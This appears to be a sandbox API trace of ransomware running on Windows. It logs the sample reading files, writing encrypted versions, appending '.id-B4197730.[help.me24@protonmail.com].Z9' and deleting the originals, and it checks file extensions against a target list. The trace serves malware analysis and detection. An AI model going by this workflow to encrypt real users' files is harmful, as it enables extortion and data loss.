	[0074.530] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll")) returned 0x80
	[0074.530] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0074.530] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0074.530] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.530] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.530] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0074.530] GetLastError () returned 0x0
	[0074.531] ReadFile (in: hFile=0x324, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0xc5158, lpOverlapped=0x0) returned 1
	[0074.902] WriteFile (in: hFile=0x350, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0xc5160, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0xc5160, lpOverlapped=0x0) returned 1
	[0074.917] ReadFile (in: hFile=0x324, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0074.917] WriteFile (in: hFile=0x350, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0xf2, lpOverlapped=0x0) returned 1
	[0074.917] SetEndOfFile (hFile=0x350) returned 1
	[0074.918] CloseHandle (hObject=0x350) returned 1
	[0075.510] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.510] SetEndOfFile (hFile=0x324) returned 1
	[0075.517] CloseHandle (hObject=0x324) returned 1
	[0075.517] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0075.517] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll")) returned 1
	[0075.518] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37
	[0075.518] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37
	[0075.518] lstrlenW (lpString=".doc") returned 4
	[0075.518] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0075.518] lstrlenW (lpString=".docx") returned 5
	[0075.518] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1
	[0075.518] lstrlenW (lpString=".pdf") returned 4
	[0075.518] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0075.518] lstrlenW (lpString=".xls") returned 4
	[0075.518] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0075.518] lstrlenW (lpString=".xlsx") returned 5
	[0075.518] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1
	[0075.518] lstrlenW (lpString=".ppt") returned 4
	[0075.518] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0075.518] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37
	[0075.518] lstrlenW (lpString=".zip") returned 4
	[0075.518] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0075.518] lstrlenW (lpString=".rar") returned 4
	[0075.518] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0075.518] lstrlenW (lpString=".bz2") returned 4
	[0075.518] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0075.518] lstrlenW (lpString=".7z") returned 3
	[0075.518] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0075.518] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37
	[0075.518] lstrlenW (lpString=".dbf") returned 4
	[0075.518] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0075.518] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37
	[0075.518] lstrlenW (lpString=".1cd") returned 4
	[0075.518] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0075.518] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37
	[0075.519] lstrlenW (lpString=".jpg") returned 4
	[0075.519] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0075.519] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37
	[0075.519] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37
	[0075.519] lstrlenW (lpString=".doc") returned 4
	[0075.519] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0075.519] lstrlenW (lpString=".docx") returned 5
	[0075.519] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1
	[0075.519] lstrlenW (lpString=".pdf") returned 4
	[0075.519] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0075.519] lstrlenW (lpString=".xls") returned 4
	[0075.519] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0075.519] lstrlenW (lpString=".xlsx") returned 5
	[0075.519] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1
	[0075.519] lstrlenW (lpString=".ppt") returned 4
	[0075.519] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0075.519] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37
	[0075.519] lstrlenW (lpString=".zip") returned 4
	[0075.519] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0075.519] lstrlenW (lpString=".rar") returned 4
	[0075.519] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0075.519] lstrlenW (lpString=".bz2") returned 4
	[0075.519] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0075.519] lstrlenW (lpString=".7z") returned 3
	[0075.519] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0075.519] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37
	[0075.519] lstrlenW (lpString=".dbf") returned 4
	[0075.519] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0075.519] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37
	[0075.519] lstrlenW (lpString=".1cd") returned 4
	[0075.519] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0075.519] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37
	[0075.519] lstrlenW (lpString=".jpg") returned 4
	[0075.519] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0075.520] lstrcmpiW (lpString1=".msu", lpString2=".Z9") returned -1
	[0075.520] lstrlenW (lpString="Windows6.0-KB956250-v6001-x86.msu") returned 33
	[0075.520] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0075.520] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=2192672) returned 1
	[0075.520] CloseHandle (hObject=0x324) returned 1
	[0075.520] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu")) returned 0x80
	[0075.520] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0075.520] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu"), lpNewFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu.id-b4197730.[help.me24@protonmail.com].z9")) returned 1
	[0075.521] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0075.521] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fc64 | out: lpNewFilePointer=0x0) returned 1
	[0075.521] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fc24 | out: lpNewFilePointer=0x0) returned 1
	[0075.521] ReadFile (in: hFile=0x324, lpBuffer=0x3b28058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x378fc30, lpOverlapped=0x0 | out: lpBuffer=0x3b28058*, lpNumberOfBytesRead=0x378fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0075.524] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0xb270a, lpNewFilePointer=0x0, dwMoveMethod=0x378fc24 | out: lpNewFilePointer=0x0) returned 1
	[0075.525] ReadFile (in: hFile=0x324, lpBuffer=0x3b68058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x378fc30, lpOverlapped=0x0 | out: lpBuffer=0x3b68058*, lpNumberOfBytesRead=0x378fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0075.532] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x378fc64 | out: lpNewFilePointer=0xffffffff) returned 1
	[0075.532] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x1d7520, lpNewFilePointer=0x0, dwMoveMethod=0x378fc24 | out: lpNewFilePointer=0x0) returned 1
	[0075.532] ReadFile (in: hFile=0x324, lpBuffer=0x3ba8058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x378fc30, lpOverlapped=0x0 | out: lpBuffer=0x3ba8058*, lpNumberOfBytesRead=0x378fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0076.056] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.056] WriteFile (in: hFile=0x324, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0xc012e, lpNumberOfBytesWritten=0x378fca8, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fca8*=0xc012e, lpOverlapped=0x0) returned 1
	[0076.070] SetEndOfFile (hFile=0x324) returned 1
	[0076.070] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x40000) returned 0x3e339a8
	[0076.878] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fc74 | out: lpNewFilePointer=0x0) returned 1
	[0076.878] WriteFile (in: hFile=0x324, lpBuffer=0x3e339a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x378fc80, lpOverlapped=0x0 | out: lpBuffer=0x3e339a8*, lpNumberOfBytesWritten=0x378fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0076.879] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0xb270a, lpNewFilePointer=0x0, dwMoveMethod=0x378fc74 | out: lpNewFilePointer=0x0) returned 1
	[0076.879] WriteFile (in: hFile=0x324, lpBuffer=0x3e339a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x378fc80, lpOverlapped=0x0 | out: lpBuffer=0x3e339a8*, lpNumberOfBytesWritten=0x378fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0076.882] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x1d7520, lpNewFilePointer=0x0, dwMoveMethod=0x378fc74 | out: lpNewFilePointer=0x0) returned 1
	[0076.882] WriteFile (in: hFile=0x324, lpBuffer=0x3e339a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x378fc80, lpOverlapped=0x0 | out: lpBuffer=0x3e339a8*, lpNumberOfBytesWritten=0x378fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0076.883] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0076.885] CloseHandle (hObject=0x324) returned 1
	[0077.603] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0077.603] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55
	[0077.603] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55
	[0077.604] lstrlenW (lpString=".doc") returned 4
	[0077.604] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1
	[0077.604] lstrlenW (lpString=".docx") returned 5
	[0077.604] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1
	[0077.604] lstrlenW (lpString=".pdf") returned 4
	[0077.604] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1
	[0077.604] lstrlenW (lpString=".xls") returned 4
	[0077.604] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1
	[0077.604] lstrlenW (lpString=".xlsx") returned 5
	[0077.604] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1
	[0077.604] lstrlenW (lpString=".ppt") returned 4
	[0077.604] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1
	[0077.604] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55
	[0077.604] lstrlenW (lpString=".zip") returned 4
	[0077.604] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1
	[0077.604] lstrlenW (lpString=".rar") returned 4
	[0077.604] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1
	[0077.604] lstrlenW (lpString=".bz2") returned 4
	[0077.604] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1
	[0077.604] lstrlenW (lpString=".7z") returned 3
	[0077.604] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1
	[0077.604] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55
	[0077.604] lstrlenW (lpString=".dbf") returned 4
	[0077.604] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1
	[0077.604] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55
	[0077.604] lstrlenW (lpString=".1cd") returned 4
	[0077.604] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1
	[0077.604] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55
	[0077.604] lstrlenW (lpString=".jpg") returned 4
	[0077.605] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1
	[0077.605] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55
	[0077.605] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55
	[0077.605] lstrlenW (lpString=".doc") returned 4
	[0077.605] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1
	[0077.605] lstrlenW (lpString=".docx") returned 5
	[0077.605] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1
	[0077.605] lstrlenW (lpString=".pdf") returned 4
	[0077.605] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1
	[0077.605] lstrlenW (lpString=".xls") returned 4
	[0077.605] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1
	[0077.605] lstrlenW (lpString=".xlsx") returned 5
	[0077.605] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1
	[0077.605] lstrlenW (lpString=".ppt") returned 4
	[0077.605] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1
	[0077.605] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55
	[0077.605] lstrlenW (lpString=".zip") returned 4
	[0077.605] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1
	[0077.605] lstrlenW (lpString=".rar") returned 4
	[0077.605] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1
	[0077.605] lstrlenW (lpString=".bz2") returned 4
	[0077.605] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1
	[0077.605] lstrlenW (lpString=".7z") returned 3
	[0077.605] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1
	[0077.605] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55
	[0077.605] lstrlenW (lpString=".dbf") returned 4
	[0077.605] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1
	[0077.605] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55
	[0077.605] lstrlenW (lpString=".1cd") returned 4
	[0077.605] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1
	[0077.605] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55
	[0077.605] lstrlenW (lpString=".jpg") returned 4
	[0077.606] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1
	[0077.606] lstrlenW (lpString="BCD") returned 3
	[0077.606] CreateFileW (lpFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0077.606] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0077.606] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0077.606] lstrlenW (lpString=".doc") returned 4
	[0077.606] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1
	[0077.606] lstrlenW (lpString=".docx") returned 5
	[0077.606] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1
	[0077.606] lstrlenW (lpString=".pdf") returned 4
	[0077.606] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1
	[0077.606] lstrlenW (lpString=".xls") returned 4
	[0077.606] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1
	[0077.606] lstrlenW (lpString=".xlsx") returned 5
	[0077.606] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1
	[0077.606] lstrlenW (lpString=".ppt") returned 4
	[0077.606] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1
	[0077.606] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0077.606] lstrlenW (lpString=".zip") returned 4
	[0077.606] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1
	[0077.606] lstrlenW (lpString=".rar") returned 4
	[0077.606] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1
	[0077.606] lstrlenW (lpString=".bz2") returned 4
	[0077.606] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1
	[0077.606] lstrlenW (lpString=".7z") returned 3
	[0077.606] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1
	[0077.606] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0077.606] lstrlenW (lpString=".dbf") returned 4
	[0077.607] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1
	[0077.607] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0077.607] lstrlenW (lpString=".1cd") returned 4
	[0077.607] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1
	[0077.607] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0077.607] lstrlenW (lpString=".jpg") returned 4
	[0077.607] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1
	[0077.607] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0077.607] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0077.607] lstrlenW (lpString=".doc") returned 4
	[0077.607] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1
	[0077.607] lstrlenW (lpString=".docx") returned 5
	[0077.607] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1
	[0077.607] lstrlenW (lpString=".pdf") returned 4
	[0077.607] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1
	[0077.607] lstrlenW (lpString=".xls") returned 4
	[0077.607] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1
	[0077.607] lstrlenW (lpString=".xlsx") returned 5
	[0077.607] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1
	[0077.607] lstrlenW (lpString=".ppt") returned 4
	[0077.607] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1
	[0077.607] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0077.607] lstrlenW (lpString=".zip") returned 4
	[0077.607] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1
	[0077.607] lstrlenW (lpString=".rar") returned 4
	[0077.607] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1
	[0077.607] lstrlenW (lpString=".bz2") returned 4
	[0077.607] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1
	[0077.607] lstrlenW (lpString=".7z") returned 3
	[0077.607] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1
	[0077.607] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0077.608] lstrlenW (lpString=".dbf") returned 4
	[0077.608] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1
	[0077.608] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0077.608] lstrlenW (lpString=".1cd") returned 4
	[0077.608] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1
	[0077.608] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0077.608] lstrlenW (lpString=".jpg") returned 4
	[0077.608] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1
	[0077.608] lstrcmpiW (lpString1=".LOG1", lpString2=".Z9") returned -1
	[0077.608] lstrlenW (lpString="BCD.LOG1") returned 8
	[0077.608] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0077.608] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=0) returned 1
	[0077.608] CloseHandle (hObject=0x324) returned 1
	[0077.608] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0077.608] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0077.608] lstrlenW (lpString=".doc") returned 4
	[0077.608] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1
	[0077.608] lstrlenW (lpString=".docx") returned 5
	[0077.608] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1
	[0077.608] lstrlenW (lpString=".pdf") returned 4
	[0077.609] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1
	[0077.609] lstrlenW (lpString=".xls") returned 4
	[0077.609] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1
	[0077.609] lstrlenW (lpString=".xlsx") returned 5
	[0077.609] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1
	[0077.609] lstrlenW (lpString=".ppt") returned 4
	[0077.609] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1
	[0077.609] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0077.609] lstrlenW (lpString=".zip") returned 4
	[0077.609] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1
	[0077.609] lstrlenW (lpString=".rar") returned 4
	[0077.609] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1
	[0077.609] lstrlenW (lpString=".bz2") returned 4
	[0077.609] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1
	[0077.609] lstrlenW (lpString=".7z") returned 3
	[0077.609] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1
	[0077.609] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0077.609] lstrlenW (lpString=".dbf") returned 4
	[0077.609] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1
	[0077.609] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0077.609] lstrlenW (lpString=".1cd") returned 4
	[0077.609] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1
	[0077.609] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0077.609] lstrlenW (lpString=".jpg") returned 4
	[0077.609] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1
	[0077.609] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0077.609] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0077.918] lstrlenW (lpString=".doc") returned 4
	[0077.918] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1
	[0077.918] lstrlenW (lpString=".docx") returned 5
	[0077.918] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1
	[0077.918] lstrlenW (lpString=".pdf") returned 4
	[0077.918] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1
	[0077.918] lstrlenW (lpString=".xls") returned 4
	[0077.918] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1
	[0077.918] lstrlenW (lpString=".xlsx") returned 5
	[0077.918] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1
	[0077.918] lstrlenW (lpString=".ppt") returned 4
	[0077.918] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1
	[0077.918] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0077.918] lstrlenW (lpString=".zip") returned 4
	[0077.918] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1
	[0077.918] lstrlenW (lpString=".rar") returned 4
	[0077.918] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1
	[0077.918] lstrlenW (lpString=".bz2") returned 4
	[0077.918] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1
	[0077.918] lstrlenW (lpString=".7z") returned 3
	[0077.918] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1
	[0077.918] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0077.918] lstrlenW (lpString=".dbf") returned 4
	[0077.918] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1
	[0077.918] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0077.918] lstrlenW (lpString=".1cd") returned 4
	[0077.919] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1
	[0077.919] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0077.919] lstrlenW (lpString=".jpg") returned 4
	[0077.919] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1
	[0077.919] lstrcmpiW (lpString1=".LOG2", lpString2=".Z9") returned -1
